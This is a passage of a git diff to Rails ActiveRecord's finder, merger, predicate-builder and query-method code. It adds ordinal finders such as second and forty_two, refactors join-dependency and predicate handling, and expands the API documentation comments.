+    # provide since database rows are unordered. You'd need to provide an explicit <tt>order</tt>
+    # option if you want the results are sorted.
     #
     # ==== Find with lock
     #
@@ -28,6 +33,34 @@ module ActiveRecord
     #     person.visits += 1
     #     person.save!
     #   end
+    #
+    # ==== Variations of +find+
+    #
+    #   Person.where(name: 'Spartacus', rating: 4)
+    #   # returns a chainable list (which can be empty).
+    #
+    #   Person.find_by(name: 'Spartacus', rating: 4)
+    #   # returns the first item or nil.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).first_or_initialize
+    #   # returns the first item or returns a new instance (requires you call .save to persist against the database).
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).first_or_create
+    #   # returns the first item or creates it and returns it, available since Rails 3.2.1.
+    #
+    # ==== Alternatives for +find+
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none)
+    #   # returns a boolean indicating if any record with the given conditions exist.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).select("field1, field2, field3")
+    #   # returns a chainable list of instances with only the mentioned fields.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).ids
+    #   # returns an Array of ids, available since Rails 3.2.1.
+    #
+    #   Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2)
+    #   # returns an Array of the required fields, available since Rails 3.1.
     def find(*args)
       if block_given?
         to_a.find { |*block_args| yield(*block_args) }
@@ -79,15 +112,24 @@ module ActiveRecord
     #   Person.where(["user_name = :u", { u: user_name }]).first
     #   Person.order("created_on DESC").offset(5).first
     #   Person.first(3) # returns the first three objects fetched by SELECT * FROM people LIMIT 3
+    #
+    # ==== Rails 3
+    #
+    #   Person.first # SELECT "people".* FROM "people" LIMIT 1
+    #
+    # NOTE: Rails 3 may not order this query by the primary key and the order
+    # will depend on the database implementation. In order to ensure that behavior,
+    # use <tt>User.order(:id).first</tt> instead.
+    #
+    # ==== Rails 4
+    #
+    #   Person.first # SELECT "people".* FROM "people" ORDER BY "people"."id" ASC LIMIT 1
+    #
     def first(limit = nil)
       if limit
-        if order_values.empty? && primary_key
-          order(arel_table[primary_key].asc).limit(limit).to_a
-        else
-          limit(limit).to_a
-        end
+        find_nth_with_limit(offset_value, limit)
       else
-        find_first
+        find_nth(:first, offset_value)
       end
     end
 
@@ -130,6 +172,86 @@ module ActiveRecord
       last or raise RecordNotFound
     end
 
+    # Find the second record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.second # returns the second object fetched by SELECT * FROM people
+    #   Person.offset(3).second # returns the second object from OFFSET 3 (which is OFFSET 4)
+    #   Person.where(["user_name = :u", { u: user_name }]).second
+    def second
+      find_nth(:second, offset_value ? offset_value + 1 : 1)
+    end
+
+    # Same as +second+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def second!
+      second or raise RecordNotFound
+    end
+
+    # Find the third record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.third # returns the third object fetched by SELECT * FROM people
+    #   Person.offset(3).third # returns the third object from OFFSET 3 (which is OFFSET 5)
+    #   Person.where(["user_name = :u", { u: user_name }]).third
+    def third
+      find_nth(:third, offset_value ? offset_value + 2 : 2)
+    end
+
+    # Same as +third+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def third!
+      third or raise RecordNotFound
+    end
+
+    # Find the fourth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fourth # returns the fourth object fetched by SELECT * FROM people
+    #   Person.offset(3).fourth # returns the fourth object from OFFSET 3 (which is OFFSET 6)
+    #   Person.where(["user_name = :u", { u: user_name }]).fourth
+    def fourth
+      find_nth(:fourth, offset_value ? offset_value + 3 : 3)
+    end
+
+    # Same as +fourth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def fourth!
+      fourth or raise RecordNotFound
+    end
+
+    # Find the fifth record.
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.fifth # returns the fifth object fetched by SELECT * FROM people
+    #   Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+    #   Person.where(["user_name = :u", { u: user_name }]).fifth
+    def fifth
+      find_nth(:fifth, offset_value ? offset_value + 4 : 4)
+    end
+
+    # Same as +fifth+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def fifth!
+      fifth or raise RecordNotFound
+    end
+
+    # Find the forty-second record. Also known as accessing "the reddit".
+    # If no order is defined it will order by primary key.
+    #
+    #   Person.forty_two # returns the forty-second object fetched by SELECT * FROM people
+    #   Person.offset(3).forty_two # returns the forty-second object from OFFSET 3 (which is OFFSET 44)
+    #   Person.where(["user_name = :u", { u: user_name }]).forty_two
+    def forty_two
+      find_nth(:forty_two, offset_value ? offset_value + 41 : 41)
+    end
+
+    # Same as +forty_two+ but raises <tt>ActiveRecord::RecordNotFound</tt> if no record
+    # is found.
+    def forty_two!
+      forty_two or raise RecordNotFound
+    end
+
     # Returns +true+ if a record exists in the table that matches the +id+ or
     # conditions given, or +false+ otherwise. The argument can take six forms:
     #
@@ -153,6 +275,7 @@ module ActiveRecord
     #   Person.exists?(5)
     #   Person.exists?('5')
     #   Person.exists?(['name LIKE ?', "%#{query}%"])
+    #   Person.exists?(id: [1, 4, 8])
     #   Person.exists?(name: 'David')
     #   Person.exists?(false)
     #   Person.exists?
@@ -160,9 +283,10 @@ module ActiveRecord
       conditions = conditions.id if Base === conditions
       return false if !conditions
 
-      join_dependency = construct_join_dependency_for_association_find
-      relation = construct_relation_for_association_find(join_dependency)
-      relation = relation.except(:select, :order).select("1 AS one").limit(1)
+      relation = apply_join_dependency(self, construct_join_dependency)
+      return false if ActiveRecord::NullRelation === relation
+
+      relation = relation.except(:select, :order).select(ONE_AS_ONE).limit(1)
 
       case conditions
       when Array, Hash
@@ -172,8 +296,6 @@ module ActiveRecord
       end
 
       connection.select_value(relation, "#{name} Exists", relation.bind_values) ? true : false
-    rescue ThrowResult
-      false
     end
 
     # This method is called whenever no records are found with either a single
@@ -189,73 +311,87 @@ module ActiveRecord
       conditions = " [#{conditions}]" if conditions
 
       if Array(ids).size == 1
-        error = "Couldn't find #{@klass.name} with #{primary_key}=#{ids}#{conditions}"
+        error = "Couldn't find #{@klass.name} with '#{primary_key}'=#{ids}#{conditions}"
       else
-        error = "Couldn't find all #{@klass.name.pluralize} with IDs "
+        error = "Couldn't find all #{@klass.name.pluralize} with '#{primary_key}': "
         error << "(#{ids.join(", ")})#{conditions} (found #{result_size} results, but was looking for #{expected_size})"
       end
 
       raise RecordNotFound, error
     end
 
-    protected
+    private
 
     def find_with_associations
-      join_dependency = construct_join_dependency_for_association_find
-      relation = construct_relation_for_association_find(join_dependency)
-      rows = connection.select_all(relation, 'SQL', relation.bind_values.dup)
-      join_dependency.instantiate(rows)
-    rescue ThrowResult
-      []
-    end
+      join_dependency = construct_join_dependency
 
-    def construct_join_dependency_for_association_find
-      including = (eager_load_values + includes_values).uniq
-      ActiveRecord::Associations::JoinDependency.new(@klass, including, [])
-    end
+      aliases  = join_dependency.aliases
+      relation = select aliases.columns
+      relation = apply_join_dependency(relation, join_dependency)
 
-    def construct_relation_for_association_calculations
-      including = (eager_load_values + includes_values).uniq
-      join_dependency = ActiveRecord::Associations::JoinDependency.new(@klass, including, arel.froms.first)
-      relation = except(:includes, :eager_load, :preload)
-      apply_join_dependency(relation, join_dependency)
+      if block_given?
+        yield relation
+      else
+        if ActiveRecord::NullRelation === relation
+          []
+        else
+          rows = connection.select_all(relation.arel, 'SQL', relation.bind_values.dup)
+          join_dependency.instantiate(rows, aliases)
+        end
+      end
     end
 
-    def construct_relation_for_association_find(join_dependency)
-      relation = except(:includes, :eager_load, :preload, :select).select(join_dependency.columns + select_values)
-      apply_join_dependency(relation, join_dependency)
+    def construct_join_dependency(joins = [])
+      including = eager_load_values + includes_values
+      ActiveRecord::Associations::JoinDependency.new(@klass, including, joins)
     end
 
-    def apply_join_dependency(relation, join_dependency)
-      join_dependency.join_associations.each do |association|
-        relation = association.join_relation(relation)
+    def construct_relation_for_association_calculations
+      from = arel.froms.first
+      if Arel::Table === from
+        apply_join_dependency(self, construct_join_dependency)
+      else
+        # FIXME: as far as I can tell, `from` will always be an Arel::Table.
+        # There are no tests that test this branch, but presumably it's
+        # possible for `from` to be a list?
+        apply_join_dependency(self, construct_join_dependency(from))
       end
+    end
 
-      limitable_reflections = using_limitable_reflections?(join_dependency.reflections)
+    def apply_join_dependency(relation, join_dependency)
+      relation = relation.except(:includes, :eager_load, :preload)
+      relation = relation.joins join_dependency
 
-      if !limitable_reflections && relation.limit_value
-        limited_id_condition = construct_limited_ids_condition(relation.except(:select))
-        relation = relation.where(limited_id_condition)
+      if using_limitable_reflections?(join_dependency.reflections)
+        relation
+      else
+        if relation.limit_value
+          limited_ids = limited_ids_for(relation)
+          limited_ids.empty? ? relation.none! : relation.where!(table[primary_key].in(limited_ids))
+        end
+        relation.except(:limit, :offset)
       end
-
-      relation = relation.except(:limit, :offset) unless limitable_reflections
-
-      relation
     end
 
-    def construct_limited_ids_condition(relation)
-      orders = relation.order_values.map { |val| val.presence }.compact
-      values = @klass.connection.columns_for_distinct("#{quoted_table_name}.#{quoted_primary_key}", orders)
+    def limited_ids_for(relation)
+      values = @klass.connection.columns_for_distinct(
+        "#{quoted_table_name}.#{quoted_primary_key}", relation.order_values)
 
-      relation = relation.dup.select(values).distinct!
+      relation = relation.except(:select).select(values).distinct!
 
       id_rows = @klass.connection.select_all(relation.arel, 'SQL', relation.bind_values)
-      ids_array = id_rows.map {|row| row[primary_key]}
+      id_rows.map {|row| row[primary_key]}
+    end
 
-      ids_array.empty? ? raise(ThrowResult) : table[primary_key].in(ids_array)
+    def using_limitable_reflections?(reflections)
+      reflections.none? { |r| r.collection? }
     end
 
+    protected
+
     def find_with_ids(*ids)
+      raise UnknownPrimaryKey.new(@klass) if primary_key.nil?
+
       expects_array = ids.first.kind_of?(Array)
       return ids.first if expects_array && ids.first.empty?
 
@@ -316,16 +452,19 @@ module ActiveRecord
       end
     end
 
-    def find_first
+    def find_nth(ordinal, offset)
       if loaded?
-        @records.first
+        @records.send(ordinal)
       else
-        @first ||=
-          if with_default_scope.order_values.empty? && primary_key
-            order(arel_table[primary_key].asc).limit(1).to_a.first
-          else
-            limit(1).to_a.first
-          end
+        @offsets[offset] ||= find_nth_with_limit(offset, 1).first
+      end
+    end
+
+    def find_nth_with_limit(offset, limit)
+      if order_values.empty? && primary_key
+        order(arel_table[primary_key].asc).limit(limit).offset(offset).to_a
+      else
+        limit(limit).offset(offset).to_a
       end
     end
 
@@ -334,16 +473,12 @@ module ActiveRecord
         @records.last
       else
         @last ||=
-          if offset_value || limit_value
+          if limit_value
             to_a.last
           else
             reverse_order.limit(1).to_a.first
           end
       end
     end
-
-    def using_limitable_reflections?(reflections)
-      reflections.none? { |r| r.collection? }
-    end
   end
 end
diff --git a/activerecord/lib/active_record/relation/merger.rb b/activerecord/lib/active_record/relation/merger.rb
index b6809d3..f0f1e62 100644
--- a/activerecord/lib/active_record/relation/merger.rb
+++ b/activerecord/lib/active_record/relation/merger.rb
@@ -22,7 +22,7 @@ module ActiveRecord
       # build a relation to merge in rather than directly merging
       # the values.
       def other
-        other = Relation.new(relation.klass, relation.table)
+        other = Relation.create(relation.klass, relation.table)
         hash.each { |k, v|
           if k == :joins
             if Hash === v
@@ -30,6 +30,8 @@ module ActiveRecord
             else
               other.joins!(*v)
             end
+          elsif k == :select
+            other._select!(v)
           else
             other.send("#{k}!", v)
           end
@@ -42,10 +44,6 @@ module ActiveRecord
       attr_reader :relation, :values, :other
 
       def initialize(relation, other)
-        if other.default_scoped? && other.klass != relation.klass
-          other = other.with_default_scope
-        end
-
         @relation = relation
         @values   = other.values
         @other    = other
@@ -66,7 +64,13 @@ module ActiveRecord
           # expensive), most of the time the value is going to be `nil` or `.blank?`, the only catch is that
           # `false.blank?` returns `true`, so there needs to be an extra check so that explicit `false` values
           # don't fall through the cracks.
-          relation.send("#{name}!", *value) unless value.nil? || (value.blank? && false != value)
+          unless value.nil? || (value.blank? && false != value)
+            if name == :select
+              relation._select!(*value)
+            else
+              relation.send("#{name}!", *value)
+            end
+          end
         end
 
         merge_multi_values
@@ -98,28 +102,42 @@ module ActiveRecord
                                                                            [])
           relation.joins! rest
 
-          join_dependency.join_associations.each do |association|
-            @relation = association.join_relation(relation)
-          end
+          @relation = relation.joins join_dependency
         end
       end
 
       def merge_multi_values
         lhs_wheres = relation.where_values
         rhs_wheres = values[:where] || []
+
         lhs_binds  = relation.bind_values
         rhs_binds  = values[:bind] || []
 
         removed, kept = partition_overwrites(lhs_wheres, rhs_wheres)
 
-        relation.where_values = kept + rhs_wheres
-        relation.bind_values  = filter_binds(lhs_binds, removed) + rhs_binds
+        where_values = kept + rhs_wheres
+        bind_values  = filter_binds(lhs_binds, removed) + rhs_binds
+
+        conn = relation.klass.connection
+        bv_index = 0
+        where_values.map! do |node|
+          if Arel::Nodes::Equality === node && Arel::Nodes::BindParam === node.right
+            substitute = conn.substitute_at(bind_values[bv_index].first, bv_index)
+            bv_index += 1
+            Arel::Nodes::Equality.new(node.left, substitute)
+          else
+            node
+          end
+        end
+
+        relation.where_values = where_values
+        relation.bind_values  = bind_values
 
         if values[:reordering]
           # override any order specified in the original relation
           relation.reorder! values[:order]
         elsif values[:order]
-          # merge in order_values from r
+          # merge in order_values from relation
           relation.order! values[:order]
         end
 
@@ -137,7 +155,9 @@ module ActiveRecord
       end
 
       def filter_binds(lhs_binds, removed_wheres)
-        set = Set.new removed_wheres.map { |x| x.left.name }
+        return lhs_binds if removed_wheres.empty?
+
+        set = Set.new removed_wheres.map { |x| x.left.name.to_s }
         lhs_binds.dup.delete_if { |col,_| set.include? col.name }
       end
 
@@ -158,7 +178,6 @@ module ActiveRecord
           w.respond_to?(:operator) && w.operator == :== && seen.include?(w.left)
         end
       end
-
     end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder.rb b/activerecord/lib/active_record/relation/predicate_builder.rb
index f44d46d..8e05875 100644
--- a/activerecord/lib/active_record/relation/predicate_builder.rb
+++ b/activerecord/lib/active_record/relation/predicate_builder.rb
@@ -1,5 +1,20 @@
 module ActiveRecord
   class PredicateBuilder # :nodoc:
+    @handlers = []
+
+    autoload :RelationHandler, 'active_record/relation/predicate_builder/relation_handler'
+    autoload :ArrayHandler, 'active_record/relation/predicate_builder/array_handler'
+
+    def self.resolve_column_aliases(klass, hash)
+      hash = hash.dup
+      hash.keys.grep(Symbol) do |key|
+        if klass.attribute_alias? key
+          hash[klass.attribute_alias(key)] = hash.delete key
+        end
+      end
+      hash
+    end
+
     def self.build_from_hash(klass, attributes, default_table)
       queries = []
 
@@ -11,7 +26,7 @@ module ActiveRecord
             queries << '1=0'
           else
             table       = Arel::Table.new(column, default_table.engine)
-            association = klass.reflect_on_association(column.to_sym)
+            association = klass._reflect_on_association(column.to_sym)
 
             value.each do |k, v|
               queries.concat expand(association && association.klass, table, k, v)
@@ -40,9 +55,9 @@ module ActiveRecord
       #
       # For polymorphic relationships, find the foreign key and type:
       # PriceEstimate.where(estimate_of: treasure)
-      if klass && value.class < Base && reflection = klass.reflect_on_association(column.to_sym)
-        if reflection.polymorphic?
-          queries << build(table[reflection.foreign_type], value.class.base_class)
+      if klass && reflection = klass._reflect_on_association(column.to_sym)
+        if reflection.polymorphic? && base_class = polymorphic_base_class_from_value(value)
+          queries << build(table[reflection.foreign_type], base_class)
         end
 
         column = reflection.foreign_key
@@ -52,6 +67,18 @@ module ActiveRecord
       queries
     end
 
+    def self.polymorphic_base_class_from_value(value)
+      case value
+      when Relation
+        value.klass.base_class
+      when Array
+        val = value.compact.first
+        val.class.base_class if val.is_a?(Base)
+      when Base
+        value.class.base_class
+      end
+    end
+
     def self.references(attributes)
       attributes.map do |key, value|
         if value.is_a?(Hash)
@@ -63,44 +90,36 @@ module ActiveRecord
       end.compact
     end
 
+    # Define how a class is converted to Arel nodes when passed to +where+.
+    # The handler can be any object that responds to +call+, and will be used
+    # for any value that +===+ the class given. For example:
+    #
+    #     MyCustomDateRange = Struct.new(:start, :end)
+    #     handler = proc do |column, range|
+    #       Arel::Nodes::Between.new(column,
+    #         Arel::Nodes::And.new([range.start, range.end])
+    #       )
+    #     end
+    #     ActiveRecord::PredicateBuilder.register_handler(MyCustomDateRange, handler)
+    def self.register_handler(klass, handler)
+      @handlers.unshift([klass, handler])
+    end
+
+    register_handler(BasicObject, ->(attribute, value) { attribute.eq(value) })
+    # FIXME: I think we need to deprecate this behavior
+    register_handler(Class, ->(attribute, value) { attribute.eq(value.name) })
+    register_handler(Base, ->(attribute, value) { attribute.eq(value.id) })
+    register_handler(Range, ->(attribute, value) { attribute.in(value) })
+    register_handler(Relation, RelationHandler.new)
+    register_handler(Array, ArrayHandler.new)
+
     private
       def self.build(attribute, value)
-        case value
-        when Array
-          values = value.to_a.map {|x| x.is_a?(Base) ? x.id : x}
-          ranges, values = values.partition {|v| v.is_a?(Range)}
-
-          values_predicate = if values.include?(nil)
-            values = values.compact
-
-            case values.length
-            when 0
-              attribute.eq(nil)
-            when 1
-              attribute.eq(values.first).or(attribute.eq(nil))
-            else
-              attribute.in(values).or(attribute.eq(nil))
-            end
-          else
-            attribute.in(values)
-          end
+        handler_for(value).call(attribute, value)
+      end
 
-          array_predicates = ranges.map { |range| attribute.in(range) }
-          array_predicates << values_predicate
-          array_predicates.inject { |composite, predicate| composite.or(predicate) }
-        when ActiveRecord::Relation
-          value = value.select(value.klass.arel_table[value.klass.primary_key]) if value.select_values.empty?
-          attribute.in(value.arel.ast)
-        when Range
-          attribute.in(value)
-        when ActiveRecord::Base
-          attribute.eq(value.id)
-        when Class
-          # FIXME: I think we need to deprecate this behavior
-          attribute.eq(value.name)
-        else
-          attribute.eq(value)
-        end
+      def self.handler_for(object)
+        @handlers.detect { |klass, _| klass === object }.last
       end
   end
 end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
new file mode 100644
index 0000000..2f6c34a
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/array_handler.rb
@@ -0,0 +1,29 @@
+module ActiveRecord
+  class PredicateBuilder
+    class ArrayHandler # :nodoc:
+      def call(attribute, value)
+        values = value.map { |x| x.is_a?(Base) ? x.id : x }
+        ranges, values = values.partition { |v| v.is_a?(Range) }
+
+        values_predicate = if values.include?(nil)
+          values = values.compact
+
+          case values.length
+          when 0
+            attribute.eq(nil)
+          when 1
+            attribute.eq(values.first).or(attribute.eq(nil))
+          else
+            attribute.in(values).or(attribute.eq(nil))
+          end
+        else
+          attribute.in(values)
+        end
+
+        array_predicates = ranges.map { |range| attribute.in(range) }
+        array_predicates << values_predicate
+        array_predicates.inject { |composite, predicate| composite.or(predicate) }
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
new file mode 100644
index 0000000..618fa3c
--- /dev/null
+++ b/activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+  class PredicateBuilder
+    class RelationHandler # :nodoc:
+      def call(attribute, value)
+        if value.select_values.empty?
+          value = value.select(value.klass.arel_table[value.klass.primary_key])
+        end
+
+        attribute.in(value.arel.ast)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 089c49f..72d3917 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -37,6 +37,8 @@ module ActiveRecord
       def not(opts, *rest)
         where_value = @scope.send(:build_where, opts, rest).map do |rel|
           case rel
+          when NilClass
+            raise ArgumentError, 'Invalid argument for .where.not(), got nil.'
           when Arel::Nodes::In
             Arel::Nodes::NotIn.new(rel.left, rel.right)
           when Arel::Nodes::Equality
@@ -47,6 +49,8 @@ module ActiveRecord
             Arel::Nodes::Not.new(rel)
           end
         end
+
+        @scope.references!(PredicateBuilder.references(opts)) if Hash === opts
         @scope.where_values += where_value
         @scope
       end
@@ -100,6 +104,14 @@ module ActiveRecord
     # firing an additional query. This will often result in a
     # performance improvement over a simple +join+.
     #
+    # You can also specify multiple relationships, like this:
+    #
+    #   users = User.includes(:address, :friends)
+    #
+    # Loading nested relationships is possible using a Hash:
+    #
+    #   users = User.includes(:address, friends: [:address, :followers])
+    #
     # === conditions
     #
     # If you want to add conditions to your included models you'll have
@@ -110,15 +122,19 @@ module ActiveRecord
     # Will throw an error, but this will work:
     #
     #   User.includes(:posts).where('posts.name = ?', 'example').references(:posts)
+    #
+    # Note that +includes+ works with association names while +references+ needs
+    # the actual table name.
     def includes(*args)
-      check_if_method_has_arguments!("includes", args)
+      check_if_method_has_arguments!(:includes, args)
       spawn.includes!(*args)
     end
 
     def includes!(*args) # :nodoc:
-      args.reject! {|a| a.blank? }
+      args.reject!(&:blank?)
+      args.flatten!
 
-      self.includes_values = (includes_values + args).flatten.uniq
+      self.includes_values |= args
       self
     end
 
@@ -129,7 +145,7 @@ module ActiveRecord
     #   FROM "users" LEFT OUTER JOIN "posts" ON "posts"."user_id" =
     #   "users"."id"
     def eager_load(*args)
-      check_if_method_has_arguments!("eager_load", args)
+      check_if_method_has_arguments!(:eager_load, args)
       spawn.eager_load!(*args)
     end
 
@@ -143,7 +159,7 @@ module ActiveRecord
     #   User.preload(:posts)
     #   => SELECT "posts".* FROM "posts" WHERE "posts"."user_id" IN (1, 2, 3)
     def preload(*args)
-      check_if_method_has_arguments!("preload", args)
+      check_if_method_has_arguments!(:preload, args)
       spawn.preload!(*args)
     end
 
@@ -152,23 +168,26 @@ module ActiveRecord
       self
     end
 
-    # Used to indicate that an association is referenced by an SQL string, and should
-    # therefore be JOINed in any query rather than loaded separately.
+    # Use to indicate that the given +table_names+ are referenced by an SQL string,
+    # and should therefore be JOINed in any query rather than loaded separately.
+    # This method only works in conjuction with +includes+.
+    # See #includes for more details.
     #
     #   User.includes(:posts).where("posts.name = 'foo'")
     #   # => Doesn't JOIN the posts table, resulting in an error.
     #
     #   User.includes(:posts).where("posts.name = 'foo'").references(:posts)
     #   # => Query now knows the string references posts, so adds a JOIN
-    def references(*args)
-      check_if_method_has_arguments!("references", args)
-      spawn.references!(*args)
+    def references(*table_names)
+      check_if_method_has_arguments!(:references, table_names)
+      spawn.references!(*table_names)
     end
 
-    def references!(*args) # :nodoc:
-      args.flatten!
+    def references!(*table_names) # :nodoc:
+      table_names.flatten!
+      table_names.map!(&:to_s)
 
-      self.references_values = (references_values + args.map!(&:to_s)).uniq
+      self.references_values |= table_names
       self
     end
 
@@ -216,12 +235,16 @@ module ActiveRecord
         to_a.select { |*block_args| yield(*block_args) }
       else
         raise ArgumentError, 'Call this with at least one field' if fields.empty?
-        spawn.select!(*fields)
+        spawn._select!(*fields)
       end
     end
 
-    def select!(*fields) # :nodoc:
-      self.select_values += fields.flatten
+    def _select!(*fields) # :nodoc:
+      fields.flatten!
+      fields.map! do |field|
+        klass.attribute_alias?(field) ? klass.attribute_alias(field) : field
+      end
+      self.select_values += fields
       self
     end
 
@@ -241,7 +264,7 @@ module ActiveRecord
     #   User.group('name AS grouped_name, age')
     #   => [#<User id: 3, name: "Foo", age: 21, ...>, #<User id: 2, name: "Oscar", age: 21, ...>, #<User id: 5, name: "Foo", age: 23, ...>]
     def group(*args)
-      check_if_method_has_arguments!("group", args)
+      check_if_method_has_arguments!(:group, args)
       spawn.group!(*args)
     end
 
@@ -272,24 +295,12 @@ module ActiveRecord
     #   User.order(:name, email: :desc)
     #   => SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
     def order(*args)
-      check_if_method_has_arguments!("order", args)
+      check_if_method_has_arguments!(:order, args)
       spawn.order!(*args)
     end
 
     def order!(*args) # :nodoc:
-      args.flatten!
-      validate_order_args args
-
-      references = args.reject { |arg| Arel::Node === arg }
-      references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
-      references!(references) if references.any?
-
-      # if a symbol is given we prepend the quoted table name
-      args = args.map! { |arg|
-        arg.is_a?(Symbol) ?
-          Arel::Nodes::Ascending.new(klass.arel_table[arg]) :
-          arg
-      }
+      preprocess_order_args(args)
 
       self.order_values += args
       self
@@ -305,13 +316,12 @@ module ActiveRecord
     #
     # generates a query with 'ORDER BY id ASC, name ASC'.
     def reorder(*args)
-      check_if_method_has_arguments!("reorder", args)
+      check_if_method_has_arguments!(:reorder, args)
       spawn.reorder!(*args)
     end
 
     def reorder!(*args) # :nodoc:
-      args.flatten!
-      validate_order_args args
+      preprocess_order_args(args)
 
       self.reordering_value = true
       self.order_values = args
@@ -342,20 +352,27 @@ module ActiveRecord
     #   User.where(name: "John", active: true).unscope(where: :name)
     #       == User.where(active: true)
     #
-    # Note that this method is more generalized than ActiveRecord::SpawnMethods#except
-    # because #except will only affect a particular relation's values. It won't wipe
-    # the order, grouping, etc. when that relation is merged. For example:
+    # This method is similar to <tt>except</tt>, but unlike
+    # <tt>except</tt>, it persists across merges:
+    #
+    #   User.order('email').merge(User.except(:order))
+    #       == User.order('email')
+    #
+    #   User.order('email').merge(User.unscope(:order))
+    #       == User.all
     #
-    #   Post.comments.except(:order)
+    # This means it can be used in association definitions:
+    #
+    #   has_many :comments, -> { unscope where: :trashed }
     #
-    # will still have an order if it comes from the default_scope on Comment.
     def unscope(*args)
-      check_if_method_has_arguments!("unscope", args)
+      check_if_method_has_arguments!(:unscope, args)
       spawn.unscope!(*args)
     end
 
     def unscope!(*args) # :nodoc:
       args.flatten!
+      self.unscope_values += args
 
       args.each do |scope|
         case scope
@@ -389,8 +406,12 @@ module ActiveRecord
     #   User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
     #   => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
     def joins(*args)
-      check_if_method_has_arguments!("joins", args)
-      spawn.joins!(*args.compact.flatten)
+      check_if_method_has_arguments!(:joins, args)
+
+      args.compact!
+      args.flatten!
+
+      spawn.joins!(*args)
     end
 
     def joins!(*args) # :nodoc:
@@ -417,7 +438,7 @@ module ActiveRecord
     # === string
     #
     # A single string, without additional arguments, is passed to the query
-    # constructor as a SQL fragment, and used in the where clause of the query.
+    # constructor as an SQL fragment, and used in the where clause of the query.
     #
     #    Client.where("orders_count = '2'")
     #    # SELECT * from clients where orders_count = '2';
@@ -547,6 +568,18 @@ module ActiveRecord
       end
     end
 
+    # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.
+    #
+    #   Post.where(trashed: true).where(trashed: false)                       # => WHERE `trashed` = 1 AND `trashed` = 0
+    #   Post.where(trashed: true).rewhere(trashed: false)                     # => WHERE `trashed` = 0
+    #   Post.where(active: true).where(trashed: true).rewhere(trashed: false) # => WHERE `active` = 1 AND `trashed` = 0
+    #
+    # This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we're only unscoping
+    # the named conditions -- not the entire where statement.
+    def rewhere(conditions)
+      unscope(where: conditions.keys).where(conditions)
+    end
+
     # Allows to specify a HAVING clause. Note that you can't use HAVING
     # without also specifying a GROUP clause.
     #
@@ -609,12 +642,11 @@ module ActiveRecord
       self
     end
 
-    # Returns a chainable relation with zero records, specifically an
-    # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+    # Returns a chainable relation with zero records.
     #
-    # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
-    # Null Object pattern. It is an object with defined null behavior and always returns an empty
-    # array of records without querying the database.
+    # The returned relation implements the Null Object pattern. It is an
+    # object with defined null behavior and always returns an empty array of
+    # records without querying the database.
     #
     # Any subsequent condition chained to the returned relation will continue
     # generating an empty relation and will not fire any query to the database.
@@ -634,7 +666,7 @@ module ActiveRecord
     #     when 'Reviewer'
     #       Post.published
     #     when 'Bad User'
-    #       Post.none # => returning [] instead breaks the previous code
+    #       Post.none # It can't be chained if [] is returned.
     #     end
     #   end
     #
@@ -686,7 +718,7 @@ module ActiveRecord
     # Specifies table from which the records will be fetched. For example:
     #
     #   Topic.select('title').from('posts')
-    #   #=> SELECT title FROM posts
+    #   # => SELECT title FROM posts
     #
     # Can accept other relation objects. For example:
     #
@@ -772,9 +804,10 @@ module ActiveRecord
     end
 
     def extending!(*modules, &block) # :nodoc:
-      modules << Module.new(&block) if block_given?
+      modules << Module.new(&block) if block
+      modules.flatten!
 
-      self.extending_values += modules.flatten
+      self.extending_values += modules
       extend(*extending_values) if extending_values.any?
 
       self
@@ -793,11 +826,12 @@ module ActiveRecord
     end
 
     # Returns the Arel object associated with the relation.
-    def arel
-      @arel ||= with_default_scope.build_arel
+    def arel # :nodoc:
+      @arel ||= build_arel
     end
 
-    # Like #arel, but ignores the default scope of the model.
+    private
+
     def build_arel
       arel = Arel::SelectManager.new(table.engine, table)
 
@@ -805,12 +839,12 @@ module ActiveRecord
 
       collapse_wheres(arel, (where_values - ['']).uniq)
 
-      arel.having(*having_values.uniq.reject{|h| h.blank?}) unless having_values.empty?
+      arel.having(*having_values.uniq.reject(&:blank?)) unless having_values.empty?
 
       arel.take(connection.sanitize_limit(limit_value)) if limit_value
       arel.skip(offset_value.to_i) if offset_value
 
-      arel.group(*group_values.uniq.reject{|g| g.blank?}) unless group_values.empty?
+      arel.group(*group_values.uniq.reject(&:blank?)) unless group_values.empty?
 
       build_order(arel)
 
@@ -823,19 +857,17 @@ module ActiveRecord
       arel
     end
 
-    private
-
     def symbol_unscoping(scope)
